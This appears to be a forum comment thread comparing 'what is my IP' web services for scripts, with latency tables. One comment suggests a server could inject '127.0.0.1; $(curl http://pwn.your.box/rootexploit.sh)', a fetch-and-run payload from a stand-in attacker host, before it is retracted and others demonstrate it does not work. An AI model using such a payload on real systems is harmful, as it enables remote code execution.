50 comments

[ 5.2 ms ] story [ 103 ms ] thread
I usually use http://checkip.dyndns.org.

Good find, thanks.

I prefer akamai's, since you can just curl it and get just the IP, nothing more. So you can do, say:

  ping `curl whatismyip.akamai.com`
EDIT: Edited title from "whatismyip.akamai.com" to "ping `curl whatismyip.akamai.com`"
Forgive me, but what's so exciting about this?
Most "what is my IP?" services either return it in hard-to-parse format, or they block curl.
Couldn't you roll your own with a few lines of Ruby and send it off to heroku?
I could also write my own version of /bin/cat, but that doesn't mean it's a good use of my time.
ping `curl ip.nux.ro` :P
From a Verizon FiOS connection in the Boston area:

    --- a1524.g.akamai.net ping statistics ---
    29 packets transmitted, 29 packets received, 0.0% packet loss
    round-trip min/avg/max/stddev = 20.872/22.326/26.220/1.058 ms
For comparison:

    --- google.com ping statistics ---
    24 packets transmitted, 24 packets received, 0.0% packet loss
    round-trip min/avg/max/stddev = 10.791/12.767/16.010/1.329 ms
The point of this submission was more to point out you can do `curl whatismyip.akamai.com` rather than "ping `curl whatismyip.akamai.com`" specifically, but that's still interesting.
I was just trying to measure the latency to the server, an important characteristic for this service.

Previous ones I've used in the past (e.g., to update a dynamic DNS server) have suffered from excessive (multi-second) latency or would simply timeout unpredictably. I ended up writing my own on appspot.com.

You can also just google 'my ip'.

But the Akamai service is obviously much easier to use from a script.

Why not grep+awk ifconfig if you need your IP from a script?
That won't give you your publicly-addressable IP if you're behind a NAT.
Because, typically, you are behind a NAT router, and you are after your WAN address, not the LAN address you were assigned by the router.

Depending on the router, it might be simpler and more reliable to interrogate the router.

Also, some routers come with dynamic DNS updating built in (dynamic DNS is a common reason for needing this service).

That won't show you the public IP if you're behind a NAT. Why would you need the public IP instead of the private one? For example because you're trying to search for requests coming from that machin in some logs, take traffic traces from somewhere beyond the NAT, etc.
If you're looking for your public ip, it won't always work. Especially if you are behind a nat/proxy.

That, plus knowing which interface to inspect among those returned by ifconfig isn't always obvious.

Cool, thanks for the reply! (and to all other replies as well :) )
... and give anyone who controls your DNS a shell on your box. :)
How so?
Not 100%, but can't you just re-point the DNS to a server you control and return a different body from the curl request?
Maybe depending on your shell I'm probably wrong.
I don't see how you could be right. It won't evaluate the result:

  ajf@Ubuntu-1204-precise-64-minimal:~$ echo `echo "3 > file"`
  3 > file
CONCEDING THIS IN ADVANCE OF VERIFYING.
(comment deleted)

    ping `\`echo /etc/passwd\``
    zsh: permission denied: /etc/passwd
I may be wrong here, but would just returning \`rootyourmachine.sh\`` in the request body therefore work?

Edit: Serving that from a web server via ping `curl localhost:9999` only causes ping to respond with a usage warning, as if you had entered an incorrect command.

Is there a way to "break out of" ping from here, though?

No; you can pass arguments to ping, of course, but that's not helpful.

Sorry, gut reaction to command interpolation with curl.

Looks like you're right - I thought you could do it by injecting a quote or something, but apparently not.
> Looks like you're right - I thought you could do it by injecting a quote or something, but apparently not.

Still, I think it's a good way to think. Expect that there's a way for that input to do something malicious, even if it doesn't seem immediately possible.

I have a dynamic DNS daemon that fetches my IP via HTTP GET, and the first thing I do is validate that it's actually an IP before I do anything else with it.

Yes, but what could a different body do here? Is there anything dangerous you can do with ping?
The output from curl is being tacked onto 'ping ' and executed, so there's nothing stopping a malicious server from returning something like '127.0.0.1; $(curl http://pwn.your.box/rootexploit.sh) ' instead of just your IP.

Edit: This is completely wrong, and doesn't work.

Bash is strange, but it's not that strange

    $ ping `echo "rm -rf /nosuchdir"`
    ping: unknown host rm
The string being fed to ping is not interpolated or executed after it's returned by the command.
Yes, you are obviously right. There aren't even really any fun arguments you can pass to ping. I jumped the gun here.
All due respect, I would never hire someone as a security consultant who would make an uninformed statement like that.

Scare tactics work, no doubt, but that's just pathetic.

If you are really trying to help people, why not tell them to control their own DNS? That's what djb advises.

Kick the third party DNS habit.

http://ifconfig.me also has a fairly simple way to get more information beyond just an ip address.
I really don't understand why this was upvoted, or have I missed something?
alias ip="dig +short myip.opendns.com @resolver1.opendns.com"
what is the difference between this and "curl ifconfig.me". I tried, "curl ifconfig.me" seemed a little bit slower.
From the methods outlined in the thread so far, I think I'd pick Akamai after a quick test of each of them. (results in the following are based on the 'real' value returned in a 'time' command

  Google 'ping' "baseline" from my ISP
     20 packets transmitted, 20 packets received, 0.0% packet loss
     round-trip min/avg/max/stddev = 19.858/23.823/31.484/2.593 ms

  #/SITE/METHOD
  #1: myip.opendns.com (dig)
  #2: whatismyip.akamai.com (curl)
  #3: ifconfig.me (curl)
  #4: ip.nux.ro (curl)
  #5: icanhazip.com (curl)

  RESULTS

  #1      #2      #3      #4      #5
  0.051   0.144   3.45    0.24    0.333   
  0.05    0.143   7.229   0.237   0.106   
  0.053   0.147   1.986   0.246   0.103   
  0.047   0.143   7.065   0.246   0.109   
  0.045   0.145   2.15    0.257   0.102   
  0.046   0.141   4.301   0.273   0.113   
  0.05    0.141   2.763   0.242   0.103   
  0.048   0.144   3.685   0.251   0.114   
  0.045   0.149   15.312  0.256   0.195   
  0.047   0.148   5.091   0.244   0.118   
  0.044   0.144   2.637   0.248   0.133   
  5.038   0.142   1.535   0.247   0.109   
  0.049   0.143   7.065   0.238   0.115   
  0.044   0.146   4.098   0.241   0.106   
  0.05    0.145   1.665   0.248   0.216   
  0.05    0.142   1.365   0.261   0.108   
  0.051   0.143   2.509   0.256   0.159   
  0.046   0.17    5.323   0.245   0.109   
  0.044   0.141   83.252  0.246   0.117   
  0.05    0.145   1.435   0.242   0.119

  0.048   0.144   3.685   0.246   0.113 MEDIAN
  0.310   0.145   8.551   0.248   0.135 AVERAGE
  1.144   0.006   18.377  0.008   0.057 STDEV